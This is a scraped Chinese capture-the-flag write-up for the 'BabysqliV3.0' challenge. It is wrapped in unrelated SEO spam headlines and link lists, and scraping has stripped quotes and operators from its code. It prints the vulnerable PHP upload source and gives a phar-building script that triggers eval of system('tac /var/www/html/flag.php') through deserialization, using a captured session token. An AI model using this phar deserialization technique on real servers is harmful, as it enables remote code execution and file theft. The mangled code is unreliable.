当前位置: 首页 > news >正文

怎么制作博客网站南昌网站建设公司好么

怎么制作博客网站,南昌网站建设公司好么,html网页设计实例大学生,企业网站建设需求调研表文章目录 [BabysqliV3.0]phar反序列化 [BabysqliV3.0]phar反序列化 开始以为是sql注入 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png)… 文章目录 [BabysqliV3.0]phar反序列化 [BabysqliV3.0]phar反序列化 开始以为是sql注入 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png)] 账号为admin一直试都没反应后来发现可以弱口令密码password [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PKuBGWCd-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032141726.png)] 一个文件上传页面 在file参数存在文件包含 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eLLkRDru-1691302941345)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032143134.png)] home.php ?php session_start(); echo meta http-equiv\Content-Type\ content\text/html; charsetutf-8\ / titleHome/title; error_reporting(0); if(isset($_SESSION[user])){if(isset($_GET[file])){if(preg_match(/.?f.?l.?a.?g.?/i, $_GET[file])){die(hacker!);}else{if(preg_match(/home$/i, $_GET[file]) or preg_match(/upload$/i, $_GET[file])){$file $_GET[file]..php;}else{$file $_GET[file]..fxxkyou!;}echo 当前引用的是 .$file;require $file;}}else{die(no permission!);} } ?upload.php meta http-equivContent-Type contenttext/html; charsetutf-8 /form action methodpost enctypemultipart/form-data上传文件input typefile namefile /input typesubmit namesubmit value上传 / /form?php error_reporting(0); class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox getcwd()./uploads/.md5($_SESSION[user])./;$ext .txt;mkdir($sandbox, 0777, true);if(isset($_GET[name]) and !preg_match(/data:\/\/ | filter:\/\/ | php:\/\/ | \./i, $_GET[name])){$this-Filename $_GET[name];}else{$this-Filename $sandbox.$_SESSION[user].$ext;}$this-cmd echo brbrMaster, I want to study rizhan!brbr;;$this-token $_SESSION[user];}function upload($file){global $sandbox;global $ext;if(preg_match([^a-z0-9], $this-Filename)){$this-cmd die(illegal filename!);;}else{if($file[size] 1024){$this-cmd die(you are too big (′▽〃));;}else{$this-cmd move_uploaded_file(.$file[tmp_name]., . $this-Filename . );;}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this-Filename.$ext;return $this-Filename;}function __destruct(){if($this-token ! $_SESSION[user]){$this-cmd die(check token falied!);;}eval($this-cmd);} }if(isset($_FILES[file])) {$uploader new Uploader();$uploader-upload($_FILES[file]);if(file_get_contents($uploader)){echo 下面是你上传的文件br.$uploader.br;echo file_get_contents($uploader);} }?这题有两个非预期解 if(isset($_GET[name]) and !preg_match(/data:\/\/ | filter:\/\/ | php:\/\/ | \./i, $_GET[name])){$this-Filename $_GET[name];}if(file_get_contents($uploader)){echo 下面是你上传的文件br.$uploader.br;echo file_get_contents($uploader); } 我们可以控制文件名的参数并且获取文件名的文件内容 非预期解1 我们直接读flag.php: 非预期解2 我们可以直接上传一个shell 预期解 phar反序列化 难点主要是需要绕过token function __destruct(){if($this-token ! $_SESSION[user]){$this-cmd die(check token falied!);;}eval($this-cmd);}但是如果上次文件不加name参数会讲session写入文件名 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6eEMtHuE-1691302941346)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032150189.png)] 随便上传一个文件获取token 构造phar文件 ?phpclass Uploader{public $Filename;public $cmd system(tac /var/www/html/flag.php);;public $token GXY2088cabe1723182d413a31dd560b1766; }unlink(phar.phar); //先删除存在的phar.phar$phar new Phar(phar.phar); //后缀名必须为phar$phar-startBuffering();$phar-setStub(?php __HALT_COMPILER(); ?); //设置stub$o new Uploader();$phar-setMetadata($o); //将自定义的meta-data存入manifest$phar-addFromString(test.txt, test); //添加要压缩的文件//签名自动计算$phar-stopBuffering();我们将phar文件上传上去 然后在文件名中包含phar://配合file_get_contents()就会将phar反序列化获得flag
http://www.w-s-a.com/news/945068/

相关文章:

  • 松北区建设局网站网站建设分为几种
  • 网站建设的合同 体会智联招聘网站建设情况
  • 记的网站域名wordpress地方信息主题
  • 淄博好的建网站公司网站建设 海口
  • 有人做网站花了10几万2017做啥网站能致富
  • 做网站有什么软件cod建站平台
  • 合肥学校网站建设怎么做免费的产品图片网站
  • 营养早餐网站的设计与制作建设通网站怎么查项目经理在建
  • 浑南区建设局网站永州网站建设公司推荐
  • 做外贸都得有网站吗绵阳网站建设制作
  • 功能性的网站建设北京餐饮品牌设计公司
  • php做网站优势视频直播软件
  • 怎么安装php网站哪个网站是专门为建设方服务的
  • 重慶网站开发sina app engine wordpress
  • wampserver网站开发步骤中冠工程管理咨询有限公司
  • 自己做网站商城需要营业执照吗老外做牛排的视频网站
  • 网站推广效果的评估指标主要包括公司广告推广
  • 昆明网站建设那家好哪个网站学做凉皮
  • hype做网站动效哪里有给网站做
  • 打扑克网站推广软件设计类专业哪个最好
  • 网站设计首页网站建设意向书
  • 做网站要学那些angularjs后台管理系统网站
  • 广州白云手机网站建设学做点心上哪个网站
  • 哈尔滨网站建设步骤百度青岛代理公司
  • 怎么利用代码做网站军队 网站备案
  • 百度手机版网址免费广州seo
  • 军博做网站公司wordpress评论插件
  • 如何申请一个网站 做视频网站报错解析
  • 徐州高端网站建设无锡找做网站
  • 网站如何不需要备案百度的宣传视频广告